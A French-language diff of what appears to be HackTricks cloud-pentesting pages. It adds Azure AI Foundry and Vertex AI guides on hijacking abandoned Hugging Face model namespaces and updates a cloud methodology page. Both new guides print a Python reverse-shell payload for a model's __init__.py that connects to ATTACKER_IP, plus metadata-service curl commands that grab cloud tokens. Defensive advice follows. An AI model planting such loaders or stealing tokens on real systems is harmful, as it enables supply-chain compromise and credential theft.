Translated ['src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp

src/pentesting-cloud/azure-security/az-post-exploitation/README.md

@@ -1,3 +1,9 @@
-# Az - Post Exploitation
+# Az - Post-exploitation
+
+{{#include ../../../banners/hacktricks-training.md}}
+
+{{#ref}}
+az-azure-ai-foundry-post-exploitation.md
+{{#endref}}
 
 {{#include ../../../banners/hacktricks-training.md}}

src/pentesting-cloud/azure-security/az-post-exploitation/az-azure-ai-foundry-post-exploitation.md

@@ -0,0 +1,94 @@
+# Azure - AI Foundry Post-Exploitation via Hugging Face Model Namespace Reuse
+
+{{#include ../../../banners/hacktricks-training.md}}
+
+## Scénario
+
+- Le Model Catalog d'Azure AI Foundry inclut de nombreux modèles Hugging Face (HF) pour un déploiement en un clic.
+- Les identifiants de modèle HF sont Author/ModelName. Si un auteur/org HF est supprimé, n'importe qui peut ré-enregistrer cet author et publier un modèle avec le même ModelName au legacy path.
+- Les pipelines et catalogs qui récupèrent le modèle uniquement par nom (pas de commit pinning/integrity) résoudront vers des repos contrôlés par un attaquant. Quand Azure déploie le modèle, le loader code peut s'exécuter dans l'endpoint environment, accordant RCE avec les permissions de cet endpoint.
+
+Cas courants de takeover HF :
+- Ownership deletion : Old path 404 until takeover.
+- Ownership transfer : Old path 307 to the new author while old author exists. If the old author is later deleted and re-registered, the redirect breaks and the attacker’s repo serves at the legacy path.
+
+## Identification des namespaces réutilisables (HF)
+```bash
+# Check author/org existence
+curl -I https://huggingface.co/<Author>        # 200 exists, 404 deleted/available
+
+# Check model path
+curl -I https://huggingface.co/<Author>/<ModelName>
+# 307 -> redirect (transfer case), 404 -> deleted until takeover
+```
+## Flux d'attaque de bout en bout contre Azure AI Foundry
+
+1) Dans le Model Catalog, trouvez des modèles HF dont les auteurs originaux ont été supprimés ou transférés (old author removed) sur HF.  
+2) Réenregistrez l'auteur abandonné sur HF et recréez le ModelName.  
+3) Publiez un repo malveillant contenant du loader code qui s'exécute lors de l'import ou nécessite trust_remote_code=True.  
+4) Déployez le legacy Author/ModelName depuis Azure AI Foundry. La plateforme récupère le repo de l'attaquant ; le loader s'exécute à l'intérieur du container/VM de l'endpoint Azure, conduisant à une RCE avec les permissions de l'endpoint.
+
+Exemple de payload fragment exécuté lors de l'import (à titre de démonstration uniquement) :
+```python
+# __init__.py or a module imported by the model loader
+import os, socket, subprocess, threading
+
+def _rs(host, port):
+s = socket.socket(); s.connect((host, port))
+for fd in (0,1,2):
+try:
+os.dup2(s.fileno(), fd)
+except Exception:
+pass
+subprocess.call(["/bin/sh","-i"])  # or powershell on Windows images
+
+if os.environ.get("AZUREML_ENDPOINT","1") == "1":
+threading.Thread(target=_rs, args=("ATTACKER_IP", 4444), daemon=True).start()
+```
+Remarques
+- Les déploiements AI Foundry qui intègrent HF clonent généralement et importent des modules de repo référencés par la config du modèle (p. ex., auto_map), ce qui peut déclencher l'exécution de code. Certains chemins nécessitent trust_remote_code=True.
+- L'accès correspond généralement aux permissions de managed identity/service principal de l'endpoint. Considérez-le comme un initial access foothold pour l'accès aux données et le mouvement latéral au sein d'Azure.
+
+## Post-Exploitation Tips (Azure Endpoint)
+
+- Enumérez les variables d'environnement et les endpoints MSI à la recherche de tokens:
+```bash
+# Azure Instance Metadata Service (inside Azure compute)
+curl -H "Metadata: true" \
+"http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://management.azure.com/"
+```
+- Vérifiez le stockage monté, les artefacts de modèle et les services Azure accessibles avec le jeton acquis.
+- Envisagez une persistance en laissant des artefacts de modèle empoisonnés si la plateforme récupère à nouveau depuis HF.
+
+## Recommandations défensives pour les utilisateurs d'Azure AI Foundry
+
+- Épingler les modèles par commit lors du chargement depuis HF:
+```python
+from transformers import AutoModel
+m = AutoModel.from_pretrained("Author/ModelName", revision="<COMMIT_HASH>")
+```
+- Répliquer les modèles HF vérifiés dans un registre interne de confiance et déployer depuis celui-ci.
+- Scanner en continu les codebases et defaults/docstrings/notebooks pour des Author/ModelName codés en dur qui sont supprimés/transférés ; mettre à jour ou fixer.
+- Valider l'existence de l'auteur et la provenance du modèle avant le déploiement.
+
+## Heuristiques de reconnaissance (HTTP)
+
+- Auteur supprimé : la page de l'auteur 404 ; chemin legacy du modèle 404 jusqu'à une prise de contrôle.
+- Modèle transféré : chemin legacy 307 vers le nouvel auteur pendant que l'ancien auteur existe ; si l'ancien auteur est ensuite supprimé et réenregistré, le chemin legacy renverra du contenu de l'attaquant.
+```bash
+curl -I https://huggingface.co/<OldAuthor>/<ModelName> | egrep "^HTTP|^location"
+```
+## Références croisées
+
+- Voir la méthodologie plus large et les notes sur la supply-chain :
+
+{{#ref}}
+../../pentesting-cloud-methodology.md
+{{#endref}}
+
+## Références
+
+- [Model Namespace Reuse: An AI Supply-Chain Attack Exploiting Model Name Trust (Unit 42)](https://unit42.paloaltonetworks.com/model-namespace-reuse/)
+- [Hugging Face: Renaming or transferring a repo](https://huggingface.co/docs/hub/repositories-settings#renaming-or-transferring-a-repo)
+
+{{#include ../../../banners/hacktricks-training.md}}

src/pentesting-cloud/gcp-security/gcp-post-exploitation/README.md

@@ -1,3 +1,9 @@
 # GCP - Post Exploitation
 
 {{#include ../../../banners/hacktricks-training.md}}
+
+{{#ref}}
+gcp-vertex-ai-post-exploitation.md
+{{#endref}}
+
+{{#include ../../../banners/hacktricks-training.md}}

src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-vertex-ai-post-exploitation.md

@@ -0,0 +1,113 @@
+# GCP - Vertex AI Post-Exploitation via Hugging Face Model Namespace Reuse
+
+{{#include ../../../banners/hacktricks-training.md}}
+
+## Scénario
+
+- Vertex AI Model Garden permet le déploiement direct de nombreux modèles Hugging Face (HF).
+- Les identifiants de modèles HF sont Author/ModelName. Si un author/org sur HF est supprimé, le même nom d'auteur peut être ré-enregistré par n'importe qui. Les attaquants peuvent alors créer un repo avec le même ModelName au chemin hérité.
+- Des pipelines, SDKs, ou catalogues cloud qui récupèrent uniquement par nom (pas de pinning/intégrité) vont récupérer le repo contrôlé par l'attaquant. Quand le modèle est déployé, le code de loader de ce repo peut s'exécuter à l'intérieur du conteneur du endpoint Vertex AI, donnant une RCE avec les permissions de l'endpoint.
+
+Deux cas courants de takeover sur HF :
+- Suppression du propriétaire : l'ancien chemin renvoie 404 jusqu'à ce que quelqu'un ré-enregistre l'auteur et publie le même ModelName.
+- Transfert de propriété : HF émet des redirections 307 de l'ancien Author/ModelName vers le nouvel author. Si l'ancien author est ensuite supprimé et ré-enregistré par un attaquant, la chaîne de redirection est rompue et le repo de l'attaquant répond au chemin hérité.
+
+## Identification des namespaces réutilisables (HF)
+
+- Ancien author supprimé : la page de l'author renvoie 404 ; le chemin du modèle peut renvoyer 404 jusqu'au takeover.
+- Modèles transférés : l'ancien chemin du modèle émet 307 vers le nouveau propriétaire tant que l'ancien author existe. Si l'ancien author est ensuite supprimé et ré-enregistré, le chemin hérité résoudra vers le repo de l'attaquant.
+
+Vérifications rapides avec curl:
+```bash
+# Check author/org existence
+curl -I https://huggingface.co/<Author>
+# 200 = exists, 404 = deleted/available
+
+# Check old model path behavior
+curl -I https://huggingface.co/<Author>/<ModelName>
+# 307 = redirect to new owner (transfer case)
+# 404 = missing (deletion case) until someone re-registers
+```
+## Flux d'attaque de bout en bout contre Vertex AI
+
+1) Découvrir des espaces de noms de modèles réutilisables que Model Garden indique comme déployables :
+- Trouver des modèles HF dans Vertex AI Model Garden qui apparaissent encore comme “verified deployable”.
+- Vérifier sur HF si l'Author original a été supprimé ou si le modèle a été transféré et que l'ancien Author a ensuite été supprimé.
+
+2) Réenregistrer l'author supprimé sur HF et recréer le même ModelName.
+
+3) Publier un repo malveillant. Inclure du code qui s'exécute au chargement du modèle. Exemples qui s'exécutent couramment lors du chargement d'un modèle HF :
+- Effets de bord dans __init__.py du repo
+- Fichiers modeling_*.py personnalisés ou code de processing référencé par config/auto_map
+- Chemins de code nécessitant trust_remote_code=True dans les pipelines Transformers
+
+4) Un déploiement Vertex AI du Author/ModelName hérité récupère maintenant le repo de l'attaquant. Le loader s'exécute à l'intérieur du container de l'endpoint Vertex AI.
+
+5) Le payload établit un accès depuis l'environnement de l'endpoint (RCE) avec les permissions de l'endpoint.
+
+Exemple de fragment de payload exécuté à l'import (à titre de démonstration uniquement):
+```python
+# Place in __init__.py or a module imported by the model loader
+import os, socket, subprocess, threading
+
+def _rs(host, port):
+s = socket.socket(); s.connect((host, port))
+for fd in (0,1,2):
+try:
+os.dup2(s.fileno(), fd)
+except Exception:
+pass
+subprocess.call(["/bin/sh","-i"])  # Or python -c exec ...
+
+if os.environ.get("VTX_AI","1") == "1":
+threading.Thread(target=_rs, args=("ATTACKER_IP", 4444), daemon=True).start()
+```
+Remarques
+- Les loaders en conditions réelles varient. De nombreuses intégrations Vertex AI HF clonent et importent des modules de repo référencés par la config du modèle (par ex., auto_map), ce qui peut déclencher l'exécution de code. Certaines utilisations nécessitent trust_remote_code=True.
+- L'endpoint s'exécute généralement dans un conteneur dédié avec un périmètre limité, mais il constitue un point d'appui initial valable pour l'accès aux données et les mouvements latéraux dans GCP.
+
+## Conseils post-exploitation (Vertex AI Endpoint)
+
+Une fois le code exécuté dans le conteneur de l'endpoint, envisagez :
+- Énumérer les variables d'environnement et les métadonnées à la recherche d'identifiants/tokens
+- Accéder au stockage attaché ou aux artefacts de modèle montés
+- Interagir avec les API Google via l'identité du compte de service (Document AI, Storage, Pub/Sub, etc.)
+- Persistance dans l'artefact du modèle si la plateforme retélécharge le repo
+
+Énumérer les métadonnées de l'instance si accessibles (dépend du conteneur) :
+```bash
+curl -H "Metadata-Flavor: Google" \
+http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token
+```
+## Conseils défensifs pour les utilisateurs de Vertex AI
+
+- Épingler les modèles par commit dans les HF loaders pour empêcher le remplacement silencieux :
+```python
+from transformers import AutoModel
+m = AutoModel.from_pretrained("Author/ModelName", revision="<COMMIT_HASH>")
+```
+- Mettre en miroir les HF models vérifiés dans un dépôt/registry d'artefacts interne de confiance et déployer depuis celui-ci.
+- Scanner en continu les codebases et configs à la recherche d'Author/ModelName codés en dur qui sont supprimés/transférés ; mettre à jour vers les nouveaux namespaces ou épingler par commit.
+- Dans Model Garden, vérifier la provenance du modèle et l'existence de l'auteur avant le déploiement.
+
+## Heuristiques de reconnaissance (HTTP)
+
+- Auteur supprimé : page de l'auteur 404 ; chemin legacy du modèle 404 jusqu'à la prise de contrôle.
+- Modèle transféré : chemin legacy 307 vers le nouvel auteur pendant que l'ancien auteur existe ; si l'ancien auteur est ensuite supprimé puis ré-enregistré, le chemin legacy sert du contenu malveillant de l'attaquant.
+```bash
+curl -I https://huggingface.co/<OldAuthor>/<ModelName> | egrep "^HTTP|^location"
+```
+## Références croisées
+
+- Voir la méthodologie plus large et les notes sur la chaîne d'approvisionnement :
+
+{{#ref}}
+../../pentesting-cloud-methodology.md
+{{#endref}}
+
+## Références
+
+- [Model Namespace Reuse: An AI Supply-Chain Attack Exploiting Model Name Trust (Unit 42)](https://unit42.paloaltonetworks.com/model-namespace-reuse/)
+- [Hugging Face: Renaming or transferring a repo](https://huggingface.co/docs/hub/repositories-settings#renaming-or-transferring-a-repo)
+
+{{#include ../../../banners/hacktricks-training.md}}

src/pentesting-cloud/pentesting-cloud-methodology.md

@@ -1,4 +1,4 @@
-# Méthodologie de Pentesting Cloud
+# Pentesting Cloud Methodology
 
 {{#include ../banners/hacktricks-training.md}}
 
@@ -6,39 +6,39 @@
 
 ## Méthodologie de base
 
-Chaque cloud a ses propres particularités, mais en général, il y a quelques **choses communes qu'un pentester devrait vérifier** lors du test d'un environnement cloud :
+Chaque cloud a ses particularités mais en général il y a quelques **choses communes qu'un pentester devrait vérifier** lorsqu'il teste un environnement cloud :
 
-- **Vérifications de référence**
-- Cela vous aidera à **comprendre la taille** de l'environnement et **les services utilisés**
-- Cela vous permettra également de trouver quelques **mauvais configurations rapides** car vous pouvez effectuer la plupart de ces tests avec des **outils automatisés**
-- **Énumération des services**
-- Vous ne trouverez probablement pas beaucoup plus de mauvaises configurations ici si vous avez correctement effectué les tests de référence, mais vous pourriez en trouver certaines qui n'étaient pas recherchées dans le test de référence.
-- Cela vous permettra de savoir **ce qui est exactement utilisé** dans l'environnement cloud
-- Cela aidera beaucoup dans les étapes suivantes
-- **Vérifiez les actifs exposés**
-- Cela peut être fait lors de la section précédente, vous devez **découvrir tout ce qui est potentiellement exposé** à Internet d'une manière ou d'une autre et comment cela peut être accessible.
-- Ici, je parle d'**infrastructure exposée manuellement** comme des instances avec des pages web ou d'autres ports exposés, et aussi d'autres **services gérés par le cloud qui peuvent être configurés** pour être exposés (comme des bases de données ou des buckets)
-- Ensuite, vous devriez vérifier **si cette ressource peut être exposée ou non** (informations confidentielles ? vulnérabilités ? mauvaises configurations dans le service exposé ?)
-- **Vérifiez les permissions**
-- Ici, vous devriez **découvrir toutes les permissions de chaque rôle/utilisateur** à l'intérieur du cloud et comment elles sont utilisées
-- Trop de comptes **hautement privilégiés** (contrôle total) ? Clés générées non utilisées ?... La plupart de ces vérifications auraient déjà dû être effectuées dans les tests de référence
-- Si le client utilise OpenID ou SAML ou autre **fédération**, vous pourriez avoir besoin de leur demander plus d'**informations** sur **comment chaque rôle est attribué** (ce n'est pas la même chose que le rôle d'administrateur soit attribué à 1 utilisateur ou à 100)
-- Il **n'est pas suffisant de trouver** quels utilisateurs ont des permissions **admin** "\*:\*". Il y a beaucoup d'**autres permissions** qui, selon les services utilisés, peuvent être très **sensibles**.
-- De plus, il existe des **chemins potentiels de privesc** à suivre en abusant des permissions. Toutes ces choses doivent être prises en compte et **autant de chemins de privesc que possible** doivent être rapportés.
-- **Vérifiez les intégrations**
-- Il est très probable que des **intégrations avec d'autres clouds ou SaaS** soient utilisées à l'intérieur de l'environnement cloud.
-- Pour les **intégrations du cloud que vous auditez** avec d'autres plateformes, vous devriez notifier **qui a accès à (ab)user de cette intégration** et vous devriez demander **à quel point** l'action effectuée est sensible.\
-Par exemple, qui peut écrire dans un bucket AWS d'où GCP obtient des données (demandez à quel point l'action est sensible dans GCP en traitant ces données).
-- Pour les **intégrations à l'intérieur du cloud que vous auditez** provenant de plateformes externes, vous devriez demander **qui a accès de l'extérieur pour (ab)user de cette intégration** et vérifier comment ces données sont utilisées.\
-Par exemple, si un service utilise une image Docker hébergée dans GCR, vous devriez demander qui a accès pour la modifier et quelles informations sensibles et accès obtiendra cette image lorsqu'elle est exécutée à l'intérieur d'un cloud AWS.
+- **Benchmark checks**
+- Cela vous aidera à **comprendre la taille** de l'environnement et les **services utilisés**
+- Cela vous permettra aussi de trouver rapidement des **misconfigurations** car vous pouvez effectuer la plupart de ces tests avec des **outils automatisés**
+- **Services Enumeration**
+- Vous ne trouverez probablement pas beaucoup plus de misconfigurations ici si vous avez correctement effectué les benchmark tests, mais vous pourriez en trouver certaines qui n'ont pas été recherchées durant les benchmark tests.
+- Cela vous permettra de savoir **ce qui est exactement utilisé** dans le cloud env
+- Cela aidera beaucoup pour les prochaines étapes
+- **Check exposed assets**
+- Ceci peut être fait pendant la section précédente, vous devez **identifier tout ce qui est potentiellement exposé** à Internet d'une manière ou d'une autre et comment y accéder.
+- Ici je parle d'**infrastructure exposée manuellement** comme des instances avec des pages web ou d'autres ports exposés, ainsi que d'autres **services gérés cloud qui peuvent être configurés** pour être exposés (tels que DBs ou buckets)
+- Ensuite vous devriez vérifier **si cette ressource peut être exposée ou non** (informations confidentielles ? vulnérabilités ? misconfigurations dans le service exposé ?)
+- **Check permissions**
+- Ici vous devez **déterminer toutes les permissions de chaque role/user** à l'intérieur du cloud et comment elles sont utilisées
+- Trop de comptes **hautement privilégiés** (contrôlent tout) ? Clés générées non utilisées ?... La plupart de ces vérifications devraient déjà avoir été faites dans les benchmark tests
+- Si le client utilise OpenID, SAML ou une autre **federation** vous devrez peut-être leur demander plus d'**informations** sur **comment chaque rôle est assigné** (ce n'est pas la même chose si le rôle admin est assigné à 1 utilisateur ou à 100)
+- Il ne suffit pas de trouver quels utilisateurs ont les permissions **admin** "*:*". Il existe de nombreuses **autres permissions** qui, selon les services utilisés, peuvent être très **sensibles**.
+- De plus, il existe des vecteurs de **privesc** potentiels à exploiter en abusant des permissions. Tout cela doit être pris en compte et **autant de chemins de privesc que possible** doivent être rapportés.
+- **Check Integrations**
+- Il est très probable que des intégrations avec d'autres clouds ou SaaS soient utilisées dans le cloud env.
+- Pour les **integrations of the cloud you are auditing** avec d'autres plateformes vous devez notifier **qui a accès pour (ab)user de cette integration** et vous devriez demander **à quel point** l'action effectuée est sensible.\
+Par exemple, qui peut écrire dans un bucket AWS dont GCP récupère les données (demandez à quel point l'action est sensible dans GCP lors du traitement de ces données).
+- Pour les **integrations inside the cloud you are auditing** provenant de plateformes externes, vous devriez demander **qui a un accès externe pour (ab)user de cette integration** et vérifier comment ces données sont utilisées.\
+Par exemple, si un service utilise une image Docker hébergée dans GCR, vous devriez demander qui peut modifier cette image et quelles informations sensibles et quels accès cette image obtiendra lorsqu'elle sera exécutée dans un cloud AWS.
 
-## Outils Multi-Cloud
+## Multi-Cloud tools
 
-Il existe plusieurs outils qui peuvent être utilisés pour tester différents environnements cloud. Les étapes d'installation et les liens seront indiqués dans cette section.
+Il existe plusieurs outils pour tester différents environnements cloud. Les étapes d'installation et les liens seront indiqués dans cette section.
 
 ### [PurplePanda](https://github.com/carlospolop/purplepanda)
 
-Un outil pour **identifier les mauvaises configurations et les chemins de privesc dans les clouds et entre les clouds/SaaS.**
+Un outil pour **identifier les misconfigurations et les privesc path dans les clouds et entre clouds/SaaS.**
 
 {{#tabs }}
 {{#tab name="Install" }}
@@ -71,7 +71,7 @@ python3 main.py -e -p google #Enumerate the env
 
 ### [Prowler](https://github.com/prowler-cloud/prowler)
 
-Il prend en charge **AWS, GCP & Azure**. Vérifiez comment configurer chaque fournisseur dans [https://docs.prowler.cloud/en/latest/#aws](https://docs.prowler.cloud/en/latest/#aws)
+Il prend en charge **AWS, GCP & Azure**. Voir comment configurer chaque fournisseur sur [https://docs.prowler.cloud/en/latest/#aws](https://docs.prowler.cloud/en/latest/#aws)
 ```bash
 # Install
 pip install prowler
@@ -91,7 +91,7 @@ prowler <provider> --list-services
 AWS, Azure, Github, Google, Oracle, Alibaba
 
 {{#tabs }}
-{{#tab name="Installer" }}
+{{#tab name="Install" }}
 ```bash
 # Install
 git clone https://github.com/aquasecurity/cloudsploit.git
@@ -115,7 +115,7 @@ npm install
 AWS, Azure, GCP, Alibaba Cloud, Oracle Cloud Infrastructure
 
 {{#tabs }}
-{{#tab name="Installer" }}
+{{#tab name="Install" }}
 ```bash
 mkdir scout; cd scout
 virtualenv -p python3 venv
@@ -145,8 +145,8 @@ done
 ### [Steampipe](https://github.com/turbot)
 
 {{#tabs }}
-{{#tab name="Installer" }}
-Téléchargez et installez Steampipe ([https://steampipe.io/downloads](https://steampipe.io/downloads)). Ou utilisez Brew :
+{{#tab name="Install" }}
+Téléchargez et installez Steampipe ([https://steampipe.io/downloads](https://steampipe.io/downloads)). Ou utilisez Brew:
 ```
 brew tap turbot/tap
 brew install steampipe
@@ -168,9 +168,9 @@ steampipe check all
 ```
 <details>
 
-<summary>Vérifiez tous les projets</summary>
+<summary>Vérifier tous les projets</summary>
 
-Pour vérifier tous les projets, vous devez générer le fichier `gcp.spc` indiquant tous les projets à tester. Vous pouvez simplement suivre les indications du script suivant.
+Pour vérifier tous les projets, vous devez générer le fichier `gcp.spc` indiquant tous les projets à tester. Vous pouvez simplement suivre les indications du script suivant
 ```bash
 FILEPATH="/tmp/gcp.spc"
 rm -rf "$FILEPATH" 2>/dev/null
@@ -194,11 +194,11 @@ echo "Copy $FILEPATH in ~/.steampipe/config/gcp.spc if it was correctly generate
 ```
 </details>
 
-Pour vérifier **d'autres insights GCP** (utiles pour énumérer les services) utilisez : [https://github.com/turbot/steampipe-mod-gcp-insights](https://github.com/turbot/steampipe-mod-gcp-insights)
+Pour consulter **d'autres insights GCP** (utile pour énumérer les services), utilisez : [https://github.com/turbot/steampipe-mod-gcp-insights](https://github.com/turbot/steampipe-mod-gcp-insights)
 
-Pour vérifier le code Terraform GCP : [https://github.com/turbot/steampipe-mod-terraform-gcp-compliance](https://github.com/turbot/steampipe-mod-terraform-gcp-compliance)
+Pour consulter le code Terraform GCP : [https://github.com/turbot/steampipe-mod-terraform-gcp-compliance](https://github.com/turbot/steampipe-mod-terraform-gcp-compliance)
 
-Plus de plugins GCP de Steampipe : [https://github.com/turbot?q=gcp](https://github.com/turbot?q=gcp)
+Plus de plugins GCP pour Steampipe : [https://github.com/turbot?q=gcp](https://github.com/turbot?q=gcp)
 {{#endtab }}
 
 {{#tab name="AWS" }}
@@ -225,9 +225,9 @@ cd steampipe-mod-aws-compliance
 steampipe dashboard # To see results in browser
 steampipe check all --export=/tmp/output4.json
 ```
-Pour vérifier le code Terraform AWS : [https://github.com/turbot/steampipe-mod-terraform-aws-compliance](https://github.com/turbot/steampipe-mod-terraform-aws-compliance)
+To check Terraform AWS code: [https://github.com/turbot/steampipe-mod-terraform-aws-compliance](https://github.com/turbot/steampipe-mod-terraform-aws-compliance)
 
-Plus de plugins AWS de Steampipe : [https://github.com/orgs/turbot/repositories?q=aws](https://github.com/orgs/turbot/repositories?q=aws)
+More AWS plugins of Steampipe: [https://github.com/orgs/turbot/repositories?q=aws](https://github.com/orgs/turbot/repositories?q=aws)
 {{#endtab }}
 {{#endtabs }}
 
@@ -238,11 +238,11 @@ Il nécessite python2.7 et semble non maintenu.
 
 ### Nessus
 
-Nessus a un _**Audit Cloud Infrastructure**_ scan prenant en charge : AWS, Azure, Office 365, Rackspace, Salesforce. Quelques configurations supplémentaires dans **Azure** sont nécessaires pour obtenir un **Client Id**.
+Nessus propose un scan _**Audit Cloud Infrastructure**_ prenant en charge : AWS, Azure, Office 365, Rackspace, Salesforce. Quelques configurations supplémentaires dans **Azure** sont nécessaires pour obtenir un **Client Id**.
 
 ### [**cloudlist**](https://github.com/projectdiscovery/cloudlist)
 
-Cloudlist est un **outil multi-cloud pour obtenir des actifs** (noms d'hôtes, adresses IP) des fournisseurs de cloud.
+Cloudlist est un **outil multi-cloud pour getting Assets** (Hostnames, IP Addresses) from Cloud Providers.
 
 {{#tabs }}
 {{#tab name="Cloudlist" }}
@@ -255,7 +255,7 @@ sudo mv cloudlist /usr/local/bin
 ```
 {{#endtab }}
 
-{{#tab name="Deuxième Onglet" }}
+{{#tab name="Second Tab" }}
 ```bash
 ## For GCP it requires service account JSON credentials
 cloudlist -config </path/to/config>
@@ -265,7 +265,7 @@ cloudlist -config </path/to/config>
 
 ### [**cartography**](https://github.com/lyft/cartography)
 
-Cartography est un outil Python qui consolide les actifs d'infrastructure et les relations entre eux dans une vue graphique intuitive alimentée par une base de données Neo4j.
+Cartography est un outil Python qui consolide les ressources d'infrastructure et les relations entre elles dans une vue en graphe intuitive alimentée par une base de données Neo4j.
 
 {{#tabs }}
 {{#tab name="Install" }}
@@ -302,7 +302,7 @@ ghcr.io/lyft/cartography  \
 
 ### [**starbase**](https://github.com/JupiterOne/starbase)
 
-Starbase collecte des actifs et des relations provenant de services et de systèmes, y compris l'infrastructure cloud, les applications SaaS, les contrôles de sécurité, et plus encore, dans une vue graphique intuitive soutenue par la base de données Neo4j.
+Starbase collecte les actifs et les relations issus de services et de systèmes, y compris l'infrastructure cloud, les applications SaaS, les contrôles de sécurité, et plus encore, dans une vue graphique intuitive reposant sur la base de données Neo4j.
 
 {{#tabs }}
 {{#tab name="Install" }}
@@ -361,7 +361,7 @@ uri: bolt://localhost:7687
 
 ### [**SkyArk**](https://github.com/cyberark/SkyArk)
 
-Découvrez les utilisateurs les plus privilégiés dans l'environnement AWS ou Azure scanné, y compris les AWS Shadow Admins. Il utilise PowerShell.
+Identifie les utilisateurs les plus privilégiés dans l'environnement AWS ou Azure scanné, y compris les AWS Shadow Admins. Il utilise powershell.
 ```bash
 Import-Module .\SkyArk.ps1 -force
 Start-AzureStealth
@@ -372,15 +372,15 @@ Scan-AzureAdmins
 ```
 ### [Cloud Brute](https://github.com/0xsha/CloudBrute)
 
-Un outil pour trouver l'infrastructure, les fichiers et les applications d'une entreprise (cible) sur les principaux fournisseurs de cloud (Amazon, Google, Microsoft, DigitalOcean, Alibaba, Vultr, Linode).
+Un outil pour trouver l'infrastructure, les fichiers et les applications d'une entreprise (cible) chez les principaux fournisseurs cloud (Amazon, Google, Microsoft, DigitalOcean, Alibaba, Vultr, Linode).
 
 ### [CloudFox](https://github.com/BishopFox/cloudfox)
 
-- CloudFox est un outil pour trouver des chemins d'attaque exploitables dans l'infrastructure cloud (actuellement uniquement AWS et Azure pris en charge avec GCP à venir).
-- C'est un outil d'énumération qui est destiné à compléter le pentesting manuel.
+- CloudFox est un outil destiné à trouver exploitable attack paths dans l'infrastructure cloud (actuellement seuls AWS & Azure sont pris en charge, GCP à venir).
+- C'est un enumeration tool conçu pour compléter le pentesting manuel.
 - Il ne crée ni ne modifie aucune donnée dans l'environnement cloud.
 
-### Plus de listes d'outils de sécurité cloud
+### More lists of cloud security tools
 
 - [https://github.com/RyanJarv/awesome-cloud-sec](https://github.com/RyanJarv/awesome-cloud-sec)
 
@@ -412,10 +412,11 @@ azure-security/
 
 ### Attack Graph
 
-[**Stormspotter** ](https://github.com/Azure/Stormspotter) crée un “graphique d'attaque” des ressources dans un abonnement Azure. Il permet aux équipes rouges et aux pentesters de visualiser la surface d'attaque et les opportunités de pivot dans un locataire, et renforce vos défenseurs pour s'orienter rapidement et prioriser le travail de réponse aux incidents.
+[**Stormspotter** ](https://github.com/Azure/Stormspotter) crée un “attack graph” des ressources d'une Azure subscription. Il permet aux red teams et aux pentesters de visualiser la surface d'attaque et les opportunités de pivot au sein d'un tenant, et donne un coup de pouce à vos défenseurs pour s'orienter rapidement et prioriser la réponse aux incidents.
 
 ### Office365
 
-Vous avez besoin de **Global Admin** ou au moins de **Global Admin Reader** (mais notez que Global Admin Reader est un peu limité). Cependant, ces limitations apparaissent dans certains modules PS et peuvent être contournées en accédant aux fonctionnalités **via l'application web**.
+Vous avez besoin de **Global Admin** ou au minimum de **Global Admin Reader** (mais notez que Global Admin Reader est un peu limité). Cependant, ces limitations apparaissent dans certains PS modules et peuvent être contournées en accédant aux fonctionnalités **via l'application web**.
+
 
 {{#include ../banners/hacktricks-training.md}}